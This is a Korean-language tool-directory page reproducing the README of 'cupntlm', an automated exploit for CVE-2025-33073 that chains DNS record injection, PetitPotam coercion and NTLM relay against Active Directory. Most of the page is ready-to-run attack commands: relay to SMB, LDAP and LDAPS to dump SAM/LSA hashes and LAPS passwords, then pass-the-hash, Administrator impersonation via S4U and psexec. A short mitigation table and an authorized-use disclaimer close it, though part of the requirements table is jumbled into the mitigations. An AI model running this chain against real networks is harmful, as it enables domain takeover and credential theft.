Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cupntlm-Automated-Exploit-For-CVE-2025-33073- — cupntlm | Kitploit
도구/GitHubGitHub/egcupcake/cupntlm-automated-exploit-for-cve-2025-33073-
Privilege EscalationReconnaissanceVulnerability AnalysisExploitationLateral MovementInformation GatheringPost-ExploitationPenetration TestingCommand and Control

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
Authentication
Red Teaming
DNS Analysis
GitHubegcupcake/cupntlm-automated-exploit-for-cve-2025-33073-

cupntlm-Automated-Exploit-For-CVE-2025-33073-

cupntlm

저장소 보기
34개월 전아직 검토되지 않음

cupntlm

CVE-2025-33073 — DNS 강제 인증을 통한 NTLM 반사 우회
Active Directory 환경을 위한 자동화된 공격 도구입니다.


개요

cupntlm은 CVE-2025-33073을 악용하는 NTLM 반사/릴레이 공격 체인을 자동화합니다. DNS 레코드 주입, 강제 인증 조작(PetitPotam), NTLM 릴레이를 하나의 워크플로우로 결합합니다. 이 도구는 범위와 스텔스 요구 사항에 따라 두 가지 작동 모드를 지원합니다.

공격 체인 요약

root@kitploit:~
Attacker                    Domain Controller              Target Host
   │                               │                            │
   │── 1. Inject DNS record ───────▶│                            │
   │      (attacker IP as target)   │                            │
   │                                │                            │
   │── 2. Coerce auth (PetitPotam) ─────────────────────────────▶│
   │                                │                            │
   │◀─ 3. NTLM auth forwarded back ─────────────────────────────│
   │                                │                            │
   │── 4. Relay to DC ─────────────▶│                            │
   │      (ntlmrelayx)              │                            │
   │                                │                            │
   │◀─ 5. Shell / secretsdump / etc.│                            │

대상 네트워크의 사전 요구 사항:

  • 릴레이 대상에서 SMB 서명 비활성화
  • 유효한 저권한 도메인 계정(읽기 전용이면 충분)
  • DC에 대한 네트워크 접근(LDAP 389 포트, SMB 445 포트)

요구 사항

시스템 패키지

Python 라이브러리

라이브러리설치
impacketpip3 install impacket --break-system-packages
coloramapip3 install colorama --break-system-packages
dnspythonpip3 install dnspython --break-system-packages

exploit/ 디렉터리 내용(setup.sh에 의해 자동 생성)

root@kitploit:~
exploit/
├── cupntlm.py
├── ntlmrelayx.py       # from impacket
├── dnstool.py          # from krbrelayx
├── lib/                # krbrelayx support library
└── PetitPotam.py

설치

root@kitploit:~
git clone https://github.com/EgCupCake/cupntlm.git
cd cupntlm
sudo bash setup.sh

사용법

확인 모드 — 공격 가능 여부 검증

대상의 SMB 서명 상태를 확인하고 공격 전에 도메인 자격 증명을 검증합니다.

root@kitploit:~
cd exploit
sudo python3 cupntlm.py check \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100

대상별 모드 — 호스트마다 별도의 DNS 레코드

각 대상에 고유한 DNS 레코드를 만들고 하나씩 강제 인증을 트리거하며 반복 사이에 레코드를 정리합니다. 더 느리지만 더 정밀하고 노이즈가 적습니다.

root@kitploit:~
sudo python3 cupntlm.py per-target \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

단일 모드 — 하나의 DNS 레코드, 지속적 릴레이

단일 DNS 레코드를 주입하고 모든 대상을 반복하는 동안 ntlmrelayx를 계속 실행합니다. 대규모 범위에서 더 빠릅니다.

root@kitploit:~
sudo python3 cupntlm.py single \
  --targets targets.txt \
  --domain lab.local \
  --user pentester \
  --pass 'P@ss' \
  --dc-ip 10.0.0.1 \
  --relay-ip 192.168.1.100 \
  --loot loot.txt

targets.txt 형식

root@kitploit:~
192.168.1.10
192.168.1.11
192.168.1.12

수동 공격

다음 단계는 cupntlm.py를 사용하지 않고 전체 공격 체인을 수동으로 재현합니다. 원리 이해, 디버깅 또는 비표준 환경에 적용할 때 유용합니다.

1단계 — SMB 서명 열거

SMB 서명이 비활성화된 호스트를 식별하세요. 이들이 유효한 릴레이 대상입니다.

root@kitploit:~
netexec smb 192.168.1.0/24 --gen-relay-list targets_unsigned.txt

또는 nmap 사용:

root@kitploit:~
nmap -p 445 --script smb2-security-mode 192.168.1.0/24

다음 항목을 확인하세요:

root@kitploit:~
Message signing enabled but not required   ← valid relay target
Message signing enabled and required       ← cannot relay here

2단계 — 악성 DNS 레코드 주입

dnstool.py를 사용하여 도메인 DNS에 호스트 이름을 가리키는 A 레코드를 추가합니다. 대상이 이 호스트 이름을 확인하고 인증하면 요청이 릴레이 리스너로 전달됩니다.

root@kitploit:~
cd exploit/

python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action add \
  --record 'attacker-relay' \
  --data 192.168.45.200 \        # your attacker IP
  --type A \
  10.0.0.1                       # DC IP

레코드가 추가되었는지 확인:

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action query \
  --record 'attacker-relay' \
  10.0.0.1

3단계 — NTLM 릴레이 리스너 시작

강제 인증을 트리거하기 전에 ntlmrelayx.py를 시작하세요. 수신 인증을 기다리며 대기합니다.

SMB로 릴레이 — SAM/LSA 덤프:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t smb://192.168.1.100 \
  -smb2support \
  --no-http-server

LDAP로 릴레이 — 새 컴퓨터 계정 생성(RBCD / 섀도 자격 증명용):

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldap://10.0.0.1 \
  --delegate-access \
  --no-smb-server \
  --no-http-server

LDAPS로 릴레이 — 도메인 비밀 덤프:

root@kitploit:~
sudo python3 ntlmrelayx.py \
  -t ldaps://10.0.0.1 \
  --dump-laps \
  --no-smb-server \
  --no-http-server

4단계 — PetitPotam으로 인증 강제

대상 머신이 주입된 DNS 레코드로 아웃바운드 인증을 수행하도록 트리거합니다. PetitPotam은 MS-EFSRPC 인터페이스를 남용합니다. 패치되지 않은 호스트에서는 자격 증명이 필요 없고, 패치된 호스트에서는 유효한 자격 증명을 사용할 수 있습니다.

인증 없음(패치되지 않은 대상):

root@kitploit:~
python3 PetitPotam.py \
  [dnsname] \         # your listener IP (matches DNS record)
  192.168.1.50             # target host to coerce

인증 사용(패치된 대상, 유효한 자격 증명 필요):

root@kitploit:~
python3 PetitPotam.py \
  -u pentester \
  -p 'P@ss' \
  -d lab.local \
   [dnsname] \
  192.168.1.50

이 시점에서 강제 인증된 호스트는 NTLM 인증을 사용자의 머신으로 보내며, ntlmrelayx가 이를 받아 릴레이합니다.


5단계 — 출력 수집

3단계에서 선택한 릴레이 대상에 따라:

  • SMB 릴레이 → ntlmrelayx가 해시를 stdout으로 덤프하고 <hostname>_samhashes.txt / _lsahashes.txt 파일을 작성합니다
  • LDAP delegate-access → ntlmrelayx가 생성된 컴퓨터 계정 이름과 암호를 출력합니다. 이후 getST.py로 서비스 티켓을 획득합니다
  • LDAPS 덤프 → LAPS 암호가 직접 출력됩니다

6단계 — DNS 레코드 정리

작업이 끝난 후에는 항상 주입된 DNS 레코드를 제거하세요.

root@kitploit:~
python3 dnstool.py \
  -u "lab.local\\pentester" \
  -p 'P@ss' \
  --action remove \
  --record 'attacker-relay' \
  --data 192.168.45.200 \
  --type A \
  10.0.0.1

사후 침투 예시

릴레이된 컴퓨터 계정으로 패스더해시:

root@kitploit:~
impacket-secretsdump \
  'lab.local/MACHINE$'@10.0.0.1 \
  -hashes :aad3b435b51404eeaad3b435b51404ee:<NT_HASH>

S4U2Self용 서비스 티켓 획득(RBCD 이후):

root@kitploit:~
impacket-getST \
  -spn cifs/TARGET.lab.local \
  -impersonate Administrator \
  'lab.local/ATTACKERMACHINE$:password'

티켓 사용:

root@kitploit:~
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.lab.local

완화 대책

통제 항목효과
모든 호스트에서 SMB 서명(필수) 활성화SMB 릴레이 차단
LDAP 서명 + 채널 바인딩 활성화LDAP/LDAPS 릴레이 차단
MS-EFSRPC 패치(KB5005413)

면책 조항

이 도구는 공인된 침투 테스트 및 보안 연구 목적으로만 사용해야 합니다.
명시적인 서면 허가를 받지 않은 시스템에 사용하지 마십시오.


크레딧

  • fortra/impacket — ntlmrelayx
  • dirkjanm/krbrelayx — dnstool
  • topotam/PetitPotam — EFS 강제 인증
도구 다운로드
도구용도
python3런타임
pip3Python 패키지 관리자
git의존성 클로닝
wget파일 다운로드
nmapSMB 서명 열거
netexec / crackmapexecSMB 서명 확인(선택 사항)
인증 없는 PetitPotam 차단
DNS 레코드 생성을 관리자로 제한DNS 주입 단계 차단
NTLM 네트워크 인증 비활성화(Kerberos 선호)해당 공격 클래스 전체 제거